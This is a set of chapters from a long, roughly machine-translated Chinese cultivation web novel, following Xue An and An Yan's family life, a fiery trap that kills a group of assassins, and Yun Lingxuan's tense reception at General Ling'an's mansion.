    Xue An wanted to scold An Yan with a straight face, but when he saw An Yan who was as good as a kitten, his face couldn''t get tough anyway.


    "Alright, as long as you are not angry, you can say anything."


    At this moment, An Yan suddenly thought of something, and said in shock: "Oh my husband, since the law of heaven is so cunning, will it overheard the conversation between you and me?"


    Hearing this, Xue An couldn''t help but change his face, "Oh, I really ignored this! What can I do?"


    An Yan''s anxious tears almost flowed out.


    "You blame me and blame me, I shouldn''t doubt you, this..."


    At this moment, she saw the smirk on Xue An''s face, and then she was deceived, and she couldn''t help but anger.


    "My husband, you bad silver, I ignore you!"


    After that, she turned around and wanted to return to the space of spiritual consciousness, but in this long night, how could Xue An let her go back?


    After all... the incarnation of God''s consciousness is also a body!


    ��(������)��.


    (End of this chapter)

 Chapter 2717： Its fierce

    Chapter 2717 the fire is violent


    Today''s alley is particularly lively.


    Just in the darkness before dawn, a few more figures appeared silently in the depths of the alley.


    Although the scene had been cleaned up by the previous man, one of the figures squatted down and touched the ground with his hand, seeming to be looking for something.


    After a while, the person solemnly said: "It should be here, but a master has cleaned it up, so there is no valuable clue left!"


    "Can you find the corpses of the Three Highnesses?" the leader asked in a deep voice.


    At this time, the sky is getting brighter, and through the dim white light, you can already vaguely see the figures that appear in the alley.


    This is a five-person team, all dressed in black and covered with black gauze.


    It is the leader who asked the question. This person is tall and should be the leader of this team.


    "I will try my best!"


    As he said, the man in black crawled to the ground, sniffing like a dog.


    Soon, he suddenly raised his head and chased in one direction.


    The black collar immediately led the crowd behind.


    After stopping all the way, they soon came to the street.


    At this moment, the sky has broken, and the voices of people are gradually being heard on the street.


    This leader took out a few talisman seals from his arms and waved at the hands in front of and behind him.


    In a short time, they disappeared.


    is a simple way of blindfolding, but it is very practical at the moment.


    Soon, after crossing several streets, they also came to the alley behind the theater.


    The man in black raised his hand and pointed, "The smell is interrupted here!"


    The leader smirked, "Very well, as long as there is a general area, can it be a small theater in a small theater?"


    Even though he said so, he was still very cautious and winked at his opponents.


    ''S four people immediately dispersed, patrolled around the theater, and set up symbols in every corner.


    In an instant, an imperceptible red glow enveloped the theater.


    It wasn''t until these preparations were done that the group of five people quietly crossed the wall and came to the theater.


    It is still early, and the theater is empty, without a single figure.


    The five men in black soon arrived outside the room where the actor and the man met last night.


    The man in black with an extraordinary sense of smell nodded slightly, indicating that it was right here.


    The leader sneered slightly, stretched out three fingers, and counted down one by one.


    The moment the last finger was retracted, the five people rushed into the room almost at the same time, and they were ready to fight in the first place.


    Unexpectedly, the room was empty, not to mention the imaginary enemy, not even a ghost.


    The five people searched this small room carefully, but they still found nothing.


    "What''s the matter?" The black leader asked in a deep voice.


    The face of the black-clothed man with an extraordinary sense of smell was puzzled, "The breath I smell is indeed interrupted here! Strange, why is there no one?"


    As he said, he sniffed around the room again, and finally fixed his gaze on the pot of sunflower on the window sill.


    The flower is extremely beautiful, it is like a fire in the early morning sun.


    His eyes lit up, "This flower is not right..."


    "What''s wrong?"


    "First of all, it opened really well, and second, although this person is very cautious, there is still a trace of breath leaking out of my nose."


    The man was proud of his face, and he reached out to take the pot of flowers.


    "Wait a minute!" The leader suddenly felt something was wrong, and just thought of stopping it, but it was too late.


    Seeing that the man''s hand had just touched the leaf of this flower, the pot of Sunflower burst into flames.


    Countless strands of extremely gorgeous flames directly enveloped the entire room.


    The nearest man screamed. He was already ignited by the flame. He wanted to struggle, but the flame progressed so fast that it almost covered the man in the blink of an eye.


    "Ah ah ah ah, boss save me, I don''t want to die!"


    He rushed towards the leader like a ball of fire, wanting to ask for mercy.


    Before he could take two steps, he was already short, because his legs were incinerated by flames.


    There was a plop, and the man fell to the ground, and there was no more sound.


    But at this time the chief didn''t care about him, because the four of them were also besieged by this extremely violent flame.


    Although he was a little farther away, and immediately established a defensive formation, the flame was like a living creature, attacking all four of them.


    ��!


    Without checking, another man in black was ignited by the flames.


    Boom!


    Before this person could react, flames rose into the sky, covering it completely.


    He opened his mouth to shout something, but flames spurted out of it, instantly burning it into fly ash.


    Such a cruel scene caused the remaining three people to die.


    Only then did the leader realize that this incident was actually a trap from the beginning.


    The aura in the alley was also deliberately left, in order to lead his party here.


    Thinking of this, he resisted the panic in his heart, and shouted in a deep voice: "Don''t panic, this flame is so violent, it must not last too long, as long as we last through this period of time, it will be fine!"


    Upon hearing this, the remaining two men were a little bit shocked.


    "Boss, this flame is too aggressive, how can we survive it!" one of them shouted.


    "You move closer to me, try to reduce your formation as much as possible, only then can you hope to get through!" The black collar shouted.


    The two immediately moved closer but when they came not far in front of the black head collar, a vicious color flashed in the black head collar��s ??eyes, and then suddenly moved forward. push.


    The two were caught off guard, and were directly pushed into the flames on the opposite side.


    "Ahhhhh, boss, you..."


    "I''m sorry, instead of staying here to die together, it''s better to use your lives to let me escape!" The black collar said in a deep voice.


    At the same time, the two people have been ignited by the flames, becoming two fireballs.


    But because of this, the flame''s offensive stopped slightly, and a little gap was revealed.


    The black head collar waited for this moment, and then turned into a black light, rushing out of the gap with lightning speed.


    Boom!


    When he broke the window and successfully escaped, the room behind him burst into flames.


    But he didn''t even have the courage to look back. He hurriedly stepped out of the wall like a bereavement dog, and disappeared into the street.


    On a teahouse opposite the theater, the actor stood by the window, and everything that had just happened was seen by him.


    After seeing the black collar fleeing, the man standing beside him couldn''t help sighing slightly.


    "I still ran away one!"


    (End of this chapter)

 Chapter 2718： Does Reiki still use command?

    Chapter 2718 Reiki still use command?


    The corner of the actor''s mouth raised a sneer, "If you run away, just let him go back to report to the people in the Shura Hall. I believe that after losing two hall masters and several elites in succession, this Shura Hall will have to be part of it. time!"


    The man nodded, then looked at the theater that had been shrouded in flames on the opposite side, and said it was a pity.


    "It''s just a pity that this theater is gone!"


    The actor''s eyes were illuminated by the blazing fire, and he said in a low tone: "There will be no chance to come back in the future, so... just burn it!"


    After that, he turned and went downstairs.


    The man picked up his luggage, and finally took a look at the theater opposite that had been burned to ruins by the fire, and then left without looking back.


    When the first ray of sunlight in the morning hit the bed through the gap in the curtains, Xue An, who had already woken up, lay on his side and leaned his head with his hands, looking at An Yan who was still asleep.


    Soon, An Yan''s breathing became rapid, and her cheeks flushed.


    Xue An smiled and said nothing, until An Yan''s long, drooping eyelashes began to tremble slightly, he bowed his head and whispered in An Yan''s ear.


    "Pretend to sleep, my wife!"


    An Yan screamed and plunged into Xue An''s arms uncontrollably.


    "I hate it, it''s up to people in the morning!"


    "You didn''t open your eyes, how do you know that I was watching? Besides, you are my wife, why can''t I watch? Not only do I want to see, I want to eat you!"


    As he said, Xue An opened his mouth to bite.


    An Yan was startled, she was still weak now, so she hurriedly begged for mercy.


    "My husband, I was wrong, I actually woke up a long time ago, but you look at people with that kind of eyes, they are really embarrassed to open their eyes!"


    "Which look does you look at you?"


    "It''s... it''s a very bad look!" An Yan said with a blushing face.


    Xue An laughed and ran out his hand to mess An Yan''s hair, "That''s because my Yan''er is so good-looking, I can''t see it enough!"


    "Bah, greasy mouth!" An Yan took a sip, but his tone was full of happiness.


    "Hee hee, why? Don''t you like it? Then I won''t talk about it anymore!"


    "No, not only do I have to say, I have to say more!"


    "why?"


    "Because I like to listen!"


    Just as the two of them were madly abused by their tenderness, there was a loud noise on the street outside.


    "It''s not good, it''s on fire! Go and put out the fire!"


    Hearing these shouts, An Yan was surprised and immediately sat up from the bed.


    "What''s the matter? Where is it on fire?"


    Xue An did not seem to be anxious, so he got up from the bed in time, and then opened the curtains.


    Even though it is a few blocks away, you can still see the skyrocketing flames in the distance.


    An Yan''s complexion became more solemn, "Husband, what''s the matter?"


    Xue An said lightly: "You''ll know if you go and have a look!"


    As he said, Xue An picked up An Yan, and walked out of the window.


    a few blocks away, but in a flash, An Yan''s complexion became more and more weird when standing outside the fire scene.


    "Husband, it looks like the theater you went to that day!"


    "It''s not like, but it is!" Xue An nodded, but with a slight smile on his face, he whispered softly.


    "I didn''t expect this guy to have some courage!"


    An Yan glanced at him strangely, "Husband, what are you talking about?"


    "Oh! It''s nothing, just feel it! Let''s go, there is nothing good to see here."


    "Where shall we go?" An Yan asked.


    "Go back to the inn first, and then go to see Miss Miss. I don''t know if they can play with that Ren Ning."


    Facts have proved that Xue An��s worries are unnecessary.


    When he sinks his own consciousness into the divine consciousness space, the first to hear is the sound of the two daughters playing.


    Then I saw Miss Miss Nian was playing hide and seek with Ren Ning.


    Ren Ning also lost all the restraint and timidity of the past at this moment, but ran around in front of the building like crazy.


    Although Xue An did not bring the Fubao Xiaolou into this world this time, in order to make Yan''er have the habit of living with two daughters, Xue An reproduced Fubao one by one in the divine consciousness space. The layout of the small building.


    Therefore, this divine consciousness space is amazingly large.


    At least the three of them have no problem running all over the mountain.


    At this moment, Miss Miss Nian saw Xue An, and couldn''t help shouting with infinite joy.


    "Dad!"


    then ran over frantically and jumped directly into Xue An''s arms.


    Xue An first enjoyed the kiss of the two daughters with a smile, and then said.


    "Have you been obedient with mom recently?"


    "Hmm, we are very good! If you don''t believe me, look!"


    While speaking, Nian-nian took the lead to break free from Xue An''s arms, but instead of falling to the ground, she hovered in the air, and punched a set of punches in a pretentious manner.


    "And I!"


    I jumped into the air and kicked my legs after thinking about it.


    Xue An looked a little stunned, "Have you two practiced?"


    An Yan stepped forward, "Well, they have learned almost all the knowledge they can learn at this age, and they are idle when they are idle, so I began to teach them to practice."


    Xue An could not laugh or cry, "Then what exercise did you use?"


    "Gong method?" An Yan blinked, "Do you still use gong method in cultivation? I just taught them how to communicate with Reiki, and then they learned it by themselves!"


    Xue An shook slightly, reached out and grabbed the arms of the two daughters, and probed closely.


    As expected.


    In the bodies of the two daughters, the aura is extremely active, but it is different from the general practitioner who needs to open up the meridian dantian to store the aura.


    There is no meridian in the body of Xiangxiang and Niannian, but the aura can wander freely, as if their body is a huge cavity, UU reading can absorb aura almost infinitely.


    Xue An couldn''t help being a little dumbfounded.


    This is the first time he has encountered this situation.


    "What''s wrong, Dad? Did we practice wrong?" Think about it and ask softly.


    "Yes, Dad, is it our practice?" Nian Nian was quite nervous.


    Xue An released his hand, then shook his head, "It''s true that you are practicing, but how do you two... do it?"


    "How can I do it?"


    "It''s to command aura!"


    "Command?"


    Miss Miss Nian looked at each other and said in unison: "We don''t have a command!"


    Then Nian Nian stretched out her hand, and a small aura whirlpool quickly swirled in the palm of her hand.


    "Look, these little guys are very obedient, we don''t need to direct them at all, they will be obedient!"


    "Yes, Dad, these auras are very obedient, do you still use command?" Think about it, and at the same time, countless aura vortexes appeared in front of and behind her.


    Xue An: "..."


    Then the expression on his face gradually changed to o(������)d like this.


    (End of this chapter)

 Chapter 2719： Genius among geniuses

    Chapter 2719 the genius of the geniuses


    genius!


    Not right, it is a genius among geniuses!


    This is the only thought in Xue An''s mind at the moment.


    Even if it is him, he has never heard of anyone who can mobilize and command these heaven and earth auras like an arm.


    In fact, I can think of it after a little thought. If everyone is like this, what are they still doing hard work? Wouldn''t it be fragrant to directly mobilize the spirit of heaven and earth to do things for yourself?


    "What''s wrong with you husband? I taught it, isn''t it right?" An Yan couldn''t help asking when Xue An hadn''t spoken all the time.


    Xue An smiled bitterly, "Yes, what I taught is quite right, because I thought a little bit too narrowly before, after all...how could my daughter follow the path of ordinary people''s cultivation!"


    Speaking of this, Xue An gently patted the missed little head, "Go and play!"


    The two daughters left with a smile.


    Xue An looked at the backs of the two of them, and suddenly a very clear thought came up in his heart, that is, his two daughters may be far more powerful than he thought.


    As early as the days of the heavens, the two little girls showed the two extraordinary talents of speaking easily and investigating falsehood respectively. At that time, Xue An understood that his two daughters were by no means ordinary.


    But at that time, Xue An thought that all of this should be attributed to him. After all, he was also a ruthless person who proved Dao Xianzun in just three thousand years.


    But now, it seems that the talents shown by these two little girls are beyond Xue An''s understanding.


    Combining with the terrifying combat power that An Yan had exploded during the previous war, Xue An suddenly had a kind of understanding.


    Daughter... After all, it''s with mom.


    "What do you think?" An Yan approached and asked.


    "It''s nothing, it just feels like our daughter has grown up a lot!" Xue An sighed.


    Hearing this, An Yan couldn''t help but sigh, "Yes, the two of them have grown up a lot in the past two years, but they are still different from ordinary children. After all, if measured by ordinary children, they are now adults. NS!"


    Xue An laughed, "How can you and my daughter be ordinary? The more powerful and powerful, the slower the growth of their offspring, which is not surprising."


    "What are you going to do with this girl?" An Yan asked.


    Xue An looked at Ren Ning, who was having fun with Miss Miss in the distance, and said lightly: "Speaking of which, she is actually a hard-working girl. I plan to take her to this literary meeting."


    "Wenhui?"


    "Yes, I came to this world to find the guy who changed the timeline of the heavens, but this world is obviously divided into two elements, so if you want to find those hidden evil things, the best way is to contact this as soon as possible. The world''s high-end combat power, this Ling''an General Mansion is the first stop!" Xue An said lightly.


    It��s just that he still had something to say to An Yan. From the square small round mirror of Yun Lingxuan, he clearly felt the awe-inspiring spirit of Chinese Confucianism, coupled with the prosperous style of the world, which made him feel good about the building and the building. Qisi Poetry Club has generated a lot of interest.


    He wanted to know who brought it all into this world.


    An Yan nodded, and then said strangely: "The face scarf on the girl Ren''s head seems strange. The two little girls once curiously lifted it up, but still couldn''t see her true face."


    "Of course I can''t see it, because her face towel is obviously not a vulgar thing, it contains a strong force of rules!"


    "The power of rules?" An Yan shook slightly, "Is it related to evil things?"


    Xue An raised his head and sighed softly: "I''m not sure now, but this girl Ren obviously also has a story, but she doesn''t want to mention it!"


    At the same time, in the very center of Ling''an territory, thousands of miles away from Ren''an City, stands a prosperous city.


    When the carriage came to the pass 50 kilometers outside the city, the little maid could not help but whispered.


    "Miss, Ling An City is here!"


    The curtain was lifted gently, and then Yun Lingxuan looked forward.


    This is a majestic city, the wall is tens of feet high, and the whole body is made of basalt. In the hinterland surrounded by the mountains, it really looks like a giant standing on top of the earth.


    "Miss, do you want to inform the people from Ling''an General''s Mansion to pick it up?" Tuan''er asked.


    "No need, they are already here!" Yun Lingxuan said softly.


    As soon as ����''s voice fell, I saw a cloud of smoke rising in the distance, and then a squad of cavalry came down like a black line.


    Wherever ���� passed, the caravan people on the official roads rushed to escape.


    Almost in the blink of an eye, this cavalry squad rushed to the front of the carriage.


    "Call!"


    The leader lightly brought the rein, the entire cavalry squad ordered the prohibition, and stopped almost instantly.


    Hu!


    brought the violent wind mixed with the smoke and dust blowing across the way, making the beast driver of this carriage horrified, and back again and again.


    Little Maid Tuan''er''s complexion was also a little pale. She followed the young lady since she was a child, and everyone she saw was a great scholar in the world, and she had never seen such a majestic scene.


    Especially the cavalry squad in front of them is all uniformly wearing black profound armor, and even the smoke cloud beast under the crotch is protected by scale armor, and its face is covered with a black mask. Just standing there, it brings its own soldiers. Evil spirits.


    There is no doubt that this cavalry squad is the elite of the elite.


    Because only those powerful players who have fought countless times on the battlefield can develop such a bad spirit.


    Is this something a little maid can face directly?


    Just as she gaped her mouth and didn''t know what to say, she heard a cold snort coming from the carriage.


    As soon as these words came out, a wave of awe-inspiring righteousness burst forth, directly smashing the spreading military might.


    Lead The general was slightly shocked A look of surprise flashed in his eyes, but he reacted very quickly, and then got out of his saddle.


    With his move, the rest of the cavalry also moved.


    Wow!


    With a neat and uniform armor impact, the cavalry squad dismounted, and then knelt on one knee with the general.


    "The first team of the Black Wolf Army is here waiting for Miss Yun on the order of my master!"


    "Who is your master?" Yun Lingxuan said coldly in the carriage.


    "It is the son of my general, Xu Gaotian!"


    "Xu Gaotian? Isn''t it General Ling''an?"


    "this����."


    "Tuan''er, let''s go back!" Yun Lingxuan ordered.


    "Yes, miss!"


    Tuan''er did not hesitate, and immediately took the reins to drive the horses and wagons, preparing to leave back.


    This action made the general''s eyes look angry, and he stood up and stepped forward: "Miss Yun, Xu Gaotian is the eldest son of our general, and his orders are just like the orders of the general!"


    "I don''t know who is Xu Gaotian, I only know that the person who invited me to attend the literary meeting this time is General Ling''an, and since he doesn''t even have the sincerity to send someone to greet me personally, then I don''t have to go! ."


    (End of this chapter)

 Chapter 2720： This is the hospitality of your General Lingan Mansion...

    Chapter 2720 This Is The Hospitality Of Your General Ling''an Mansion?


    The carriage was about to leave, and the general snorted coldly, "The person my son wants to invite hasn''t been invited yet, Miss Yun is offended!"


    As he said, he waved his hand, and his knight immediately mounted his horse and tried to encircle the carriage.


    At this moment, he heard a male duck shout from a distance.


    "Don''t do it! Don''t do it!"


    Then he saw a group of horses rushing to the front, sitting on the wheel of a chubby man with a white face and no need to be a eunuch.


    When he got closer, the **** almost rolled off the chariot, and said breathlessly.


    "The general has an order, Miss Yun came from thousands of miles away, she is the most noble guest, so the special old slave came to greet her, and you won��t retreat!"


    After seeing him, the arrogant general just now couldn''t help but hesitate.


    The **** stared at this, took out a token in his hand, and screamed.


    "Zhai Hongbao, you are so courageous, do you dare not follow the general order?"


    Seeing this token, this Zhai Hongbao shook slightly, and immediately stepped back, not daring to stop it.


    Then the fat **** moved with difficulty until he came to the carriage.


    "Miss Yun, don''t mind you, it''s all these army men who are rude and do not understand etiquette, and they ran into the girl with words. The old slave will pay you here!"


    said, the old **** bowed to the ground and kept this posture still.


    After a moment of silence, Yun Lingxuan in the carriage said slowly: "The old man is polite, since General Ling''an has sent someone to come, then I will go!"


    The fat **** just straightened up and said with a smile on his face: "Ms. Yun is indeed a world-renowned female Chinese leader. She is really open-minded, please come with me!"


    said, he got on the carriage again, and then led the carriage to Ling''an City.


    After they left, the black wolf army standing there was silent for a moment.


    "Go, tell this matter to the son!"


    While in the carriage, Tuan''er asked cautiously.


    "Miss, look at this, the Ling''an General and his son are at odds!"


    Yun Lingxuan said lightly: "What does their father and son''s harmony and disharmony have to do with us? We are here only to participate in the literary meeting, and everything else has nothing to do with us!"


    "Yeah! I think so too. To tell the truth, it depends on the appearance of the Ling''an domain along the way. I don''t have any hope for this literary conference. I guess I''m just taking the opportunity to win my reputation again!" Tuaner babbled. Muttered.


    At the same time, their group has already passed through the gates of Ling''an City.


    There was this fat **** leading the way, and naturally no one dared to stop them. They crossed the central street unimpeded, and finally came to the mansion in the center of the city.


    This is a house that stretches for several kilometers. When the carriage arrived in front of the door, someone had been waiting here long ago.


    "Miss Yun, my general has been waiting inside for a long time, please get out of the car and follow me in!"


    The speaker is a woman who behaves generously.


    After a while, the curtain opened, and then Yun Lingxuan, dressed in white, walked out of the car.


    After seeing her face, even the woman and the fat **** couldn''t help but look amazing.


    But the woman reacted very quickly, and she changed to a smiling face.


    "I have long heard that the girl Yun in the outer building is stunning in the world, and she really deserves her reputation when she sees it today! This look and figure is really enviable!"


    Yun Lingxuan has no expression, "Is the general inside?"


    "Oh, yes, yes, come in, look at my memory!"


    The woman led Yun Lingxuan into the mansion with a smile.


    The fat **** looked at their backs cheerfully, until they were no longer visible, and then whispered: "Let''s go!"


    "Old ancestor, just go back like this?" a little **** next to him asked.


    "What are you waiting for if you don''t go back? Do you still want to get involved in the affairs of the general and his son?" the old **** said lightly.


    The little **** shrank his neck in fright and dared not say anything.


    "Anyway, the general gave me the order to take this girl Yun to the city. As for where Sanniang, the wave hoof, will lead this girl to the city, that has nothing to do with me. Anyway, I have done what I should do. NS!"


    said, the fat **** stretched a long stretch.


    "It''s good to do more and make less mistakes these days, so it''s better to go back to sleep!"


    The group of fat eunuchs entered the mansion through another door and disappeared.


    At the same time, this Sanniang was very enthusiastic about introducing Yun Lingxuan''s scenery along the way, and asked about what Yun Lingxuan had seen when he came.


    But Yun Lingxuan was cold and didn''t respond very much.


    Seeing this scene, the eyes of these Sanniang couldn''t help flashing an aura of anger, but even if Xuan disappeared, he smiled and said.


    "Miss Yun, the general''s academy is in front of him. He is waiting for you inside, so I won''t go in!"


    said, this Sanniang opened the door of a small courtyard and raised his hand to let in.


    Yun Lingxuan frowned slightly.


    She always felt that something was wrong, but she couldn''t tell what was wrong, she couldn''t help but gently squeeze the round mirror in her sleeve, and then stepped up the steps.


    "I have work!"


    "Miss Yun is too polite, this is what I should do!" Sanniang said with a smile.


    But when Yun Lingxuan and Tuan''er walked into the small courtyard together, the courtyard door behind them slammed shut.


    This sudden noise was startled.


    "Miss!"


    Yun Lingxuan raised her eyebrows slightly, "Don''t be afraid, I am here!"


    said, she wandered into the courtyard.


    This small courtyard is beautifully decorated, and even the flowers and plants planted are rare alien roots.


    But when Yun Lingxuan stood in the courtyard, applause suddenly rang out from behind the flowers, UU read and then came a lazy male voice.


    "Sure enough, it is a rare and stunning beauty, worthy of the name of the poetry oiran!"


    "Who?" Yun Lingxuan suddenly raised her eyes when she heard the words.


    A person appeared after the flowers.


    This man is tall, luxuriously dressed, and looks handsome, but when he appeared in front of him, Tuaner couldn''t help but fought a cold war.


    Because the cold breath on his body is too strong, especially his slender eyes, like the blade of a viper, which makes people afraid to look directly.


    "Hello Miss Yun, I Xu Gaotian, son of the general!" The man laughed.


    The smile is wicked and cold, like a devil who chooses people and eats them.


    Yun Lingxuan turned around and left without hesitation.


    But when she turned around, she realized that the way she came was no longer visible, replaced by a fog that was too thick to dissolve.


    "Ms. Yun, why do you have to leave when you meet? Is there a place where Xu is not entertained?" Xu Gaotian sneered.


    Yun Lingxuan slowly turned around, her face filled with frost and said: "This is how your general Ling''an''s mansion treats guests?"


    Xu Gaotian laughed loudly, "Of course not, but when faced with a stunning woman like Miss Yun, it is again!"


    (End of this chapter)

 Chapter 2721： Father and son

    Chapter 2721


    Upon hearing this, Yun Lingxuan laughed in anger.


    "Okay, what a prince from General Ling''an Mansion, I remember it!"


    After that, she took a step and walked out.


    But her foot had just been lifted, and before it fell, the white mist rushed in, and faintly showed the appearance of rope tentacles, as if to completely bind Yun Lingxuan.


    Yun Lingxuan snorted coldly, and the small round mirror in her hand appeared in front of her instantly, bursting out an extremely blazing brilliance.


    Boom!


    The fog in front of ���� was clear, but after a short while, new fog surged in, filling the passage.


    Yun Lingxuan frowned slightly when she saw it, and Xu Gaotian''s sober voice came from behind her.


    "It''s useless, I knew Miss Yun was pregnant with a strange treasure, so I specially arranged this small courtyard in advance. Without my approval, you can''t get out!"


    Yun Lingxuan did not answer, but Huo Ran turned her head, and the Fang Xiaoyuan mirror immediately blasted in the direction where Xu Gaotian was speaking.


    But under the surging mist, there is nowhere in Xu Gaotian''s figure.


    Yun Lingxuan was taken aback. At this moment, she felt a slight coolness coming from the back of her neck, as if a poisonous snake was spitting a letter behind her.


    This feeling shocked her.


    And at this moment, the group beside him suddenly burst out with a scream.


    "Miss, help me!"


    Then she seemed to be caught by an invisible tentacle, dragging her abruptly into the mist.


    Yun Lingxuan was shocked and reached out to grab it, but it was too late.


    Seeing that the only maid around him was about to fall into the claws, Yun Lingxuan was completely angry, and the small round mirror buzzed, and a devastating blow was about to explode.


    Just then, I heard an anxious and majestic voice.


    "God, don''t be rude!"


    As soon as he said this, the mist that filled the courtyard instantly dissipated, and Tuan''er stopped halfway, and then ran back to Yun Lingxuan in a panic.


    Yun Lingxuan looked up and saw a figure flying down the courtyard. After the brilliance dissipated, she was a gray-haired old man.


    The old man was wearing a brown robe, with broad eyebrows and wide-eyed eyes, not angry but majestic.


    After seeing this old man, Xu Gaotian, who had always been lawless, couldn''t help but lower his head.


    "Father!"


    "Asshole, I asked you to greet the guests, but did you greet them like that?"


    That''s right!


    The old man is the master of Ling''an City, and he is also the master of the entire Ling''an Domain, the great general of Ling''an Xu Ling''an.


    In the face of his father Xu Ling''an''s unsatisfactory reprimand, Xu Gaotian''s face was full of disapproval.


    "Father, I just made a joke with Miss Yun, I have no other meaning!"


    "Hmph, please apologize to Miss Yun, she is the most noble guest, how can you let you joke?" Xu Ling''an shouted coldly.


    Xu Gaotian shrugged, and then arched his hand at Yun Lingxuan.


    "Miss Yun, I was abrupt just now, please forgive me!"


    Yun Lingxuan''s face sank like water.


    Of course she would not be deceived by the double reeds between the father and son, but she also did not have an immediate attack, just stood there coldly.


    Xu Gaotian''s eyes flashed a touch of misfortune.


    Xu Ling''an waved his hand, "Hurry up, don''t you see Miss Yun not wanting to care about you?"


    ����� chuckled, and then left staggeringly.


    Xu Ling''an took a few steps forward with enthusiasm, and bowed his hands in a polite way: "Miss Yun, the dog is used to being arrogant and acting recklessly, don''t be like him!"


    Yun Lingxuan stared at him coldly, and only after a while she lowered her eyes and said lightly.


    "General Ling''an, if I didn''t plan to kill you just now, are you not ready to come out?"


    The general Ling''an, who is charitable like a rich man, laughed when he heard the words.


    "What is Miss Yun talking about? I just happened to have something to do and couldn''t meet in person, so I let Inuzi do it for him, and after I sensed that the dog was acting innocent, I rushed over immediately without any delay in the whole process!"


    When he said these words, Xu Lingan''s face was full of sincerity, and he couldn''t see the slightest difference.


    Yun Lingxuan took a deep look at him, Xuan even nodded, "That''s the case, I''m worried!"


    "Hahayun girl, please come here, I specially arranged a grand reception for you, so I can express my apologies!"


    Yun Lingxuan walked out behind Xu Ling''an. At this moment, the little maid tug gently on the skirt of her clothes, with a worried expression on her face.


    Yun Lingxuan smiled and signaled that it was all right.


    Despite this, this group is still terrified.


    After all, she has a deep memory of the force that almost dragged herself into the mist.


    Especially the coldness deep into the bone marrow made her fearful.


    She really didn''t understand why the young lady didn''t leave in this situation, but went to participate in this so-called reception banquet.


    But she didn''t know that Yun Lingxuan''s heart was actually just like Ming Jing, she could see everything that just happened.


    From the very beginning, the black wolf army was sent to greet him, to the rescue field of the old **** at the back, and the current affairs were actually planned by the Ling''an General.


    The purpose of ���� is very simple, just to give oneself a chance.


    And the reason why I didn''t walk away was because I couldn''t go.


    When General Ling''an sent someone to contact him to attend this literary meeting, Yun Lingxuan initially disagreed, but General Ling''an offered a price she couldn''t refuse.


    So even for this price, she can''t leave.


    This General Ling''an probably understood this point thoroughly, so he used this matter to squeeze himself.


    Yun Lingxuan''s heart faintly raised an anger, but soon, this anger was suppressed by her.


    For that thing, even if it is the humiliation, I have to grit my teeth and endure it. UU reading


    And that is when Yun Lingxuan master and servant followed Xu Ling''an to attend this so-called wind banquet.


    On a small building not far away, Xu Gaotian is sitting on a chair by the window with Erlang''s legs upright, looking bored into the distance.


    At this moment, a soft female voice came from behind him.


    "Grandpa, this little lady is really good-looking! Didn''t you feel tempted just now?"


    "How can you be tempted? The old man has ordered in advance, only to behave, not to do it, otherwise you think I will let such a wonderful person slip out of my hands?" Xu Gaotian said rather annoyingly.


    "The general is actually doing you good too. After all, Yun Lingxuan''s background is not small. Who doesn''t know the two top academies of Qingshanlou Wailou, and this Yun Lingxuan is the housekeeper of Wailoulou. One, if it really irritates her, it is really tricky!"


    While speaking, the person behind him walked out of the darkness. It was the third wife who had led Yun Lingxuan into the house before.


    At this moment, she put on a new set of dresses and lightly applied cream powder to sweep Emei, which looked very beautiful.


    Seeing this scene, Xu Gaotian pulled him into his arms.


    Sanniang snorted, and then chuckled softly: "When did the old man even let the decayed flowers and willows like me go?"


    (end of this chapter)

 Chapter 2723： In love, but only in courtesy

    2723-Swordsman


    At this time, in the hall on the first floor of Wanhua Building, it can be described as Yinggeyan Dance, and it is very lively.


    As the leading brothel in Ling''an City, many big businessmen and young talents come here to have fun.


    Only at this moment, one of the tables has attracted the attention of many people.


    Not because of how amazing the people at this table are, but because this table is too quiet.


    is so quiet that it seems out of place in this noisy background.


    There was no talking or laughing, no joking, only the sound of creaking food.


    The several women at the table all looked at the four people who were feasting in amazement, and then a question mark appeared involuntarily in their minds.


    what happened?


    Could it be that his own charm is not as good as the roast chicken of Table Mountain? Otherwise, why don''t you even look at yourself?


    Or do you mean that these four people came here to eat specially?


    just when these women are confused and messy.


    The girl who brought the four of them here lit a cigarette again.


    This is a special kind of plant that can be used to swallow the clouds and vomit fog after being cut and dried. It has a refreshing effect.


    You can also tell by the skillful means of this woman that she is already an old smoker.


    After taking a deep breath, smoke was slowly spit out from the woman''s mouth and nose, and her eyes were a little confused.


    This scene happened to be seen by Zhuo Ben who was sitting directly opposite.


    At that moment, he felt as if a heavy hammer had hit his chest, and his heart shrank suddenly.


    He has a family background, he has been studying poetry and books since he was young, and when he grows up, the discipline at home is very strict, so he rarely comes into contact with the opposite sex.


    As for places like the Qinglou Chuguan, he had only seen it in the novel before, but he had never set foot in it.


    So in terms of male and female relationships, he is a thorough first brother.


    Because of this, he doesn''t know what this heartbeat means at this moment.


    He just felt that this woman''s expression at this time was so pitiful that he just wanted to take her into his arms and comfort her.


    But this is contrary to the principles he has usually learned. After all, the love of a gentleman comes from affection and only ends with courtesy. How can I have such nasty thoughts.


    Zhuo Ben is secretly spurning his thoughts.


    The bold and unrestrained girl seemed to be aware of it, so she raised her eyes and glanced at him.


    Zhuo Benzheng''s face turned red immediately, and he hurriedly lowered his head and ate wildly to hide the panic in his heart.


    The girl gave a slight sneer.


    Heh, man!


    Then he hugged his shoulders and continued to vomit.


    But the more she is, the stronger her attraction to Zhuo Benzheng.


    So he began to keep peeking at this girl.


    Looking at it, the girl seemed to be bored by being looked at. She suddenly pulled her clothes on her shoulders down, and then said lightly to Zhuo Benzheng.


    "Have you seen enough? Take it off if you don''t have enough old lady!"


    Such a bold act made everyone surprised.


    Zhuo Benzheng''s face was even more bleed and he stammered and explained.


    "Auntie...girl, I am not...I don''t have..."


    "Okay, I don''t understand your men''s thoughts?"


    The girl didn''t pull up the clothes on her shoulders, she just sat there carelessly, flicked the ashes, took another deep breath, and then stretched out two fingers.


    "Two hundred Lingshi, I will sleep with you!"


    "Ah this..." Zhuo Ben had red ears on the front, his mouth was dumbfounded, and he didn''t know how to respond.


    "What? Too expensive? Tell you, this is a bargain price, and believe me, I have very good skills!"


    The more I said that, the redder Zhuo Benzheng''s face became.


    Seeing this scene, the corners of the girl''s lips raised slightly, and a smile of disdain and fascination appeared.


    Then stood up, leaned over the table with his hands, and put Ruhuo Zhu''s lips to Zhuo Benzheng''s ears.


    "Or... are you a young bird?"


    Sniffing the smell of smoke and powder from the woman, as well as the slightly warm touch in his ears, Zhuo Benzheng''s heartbeat began to accelerate.


    And when he lowered his gaze in a panic, the mountain peaks that came into view made his blood flow to his face.


    "I... girl... not..." He wanted to say something incoherently.


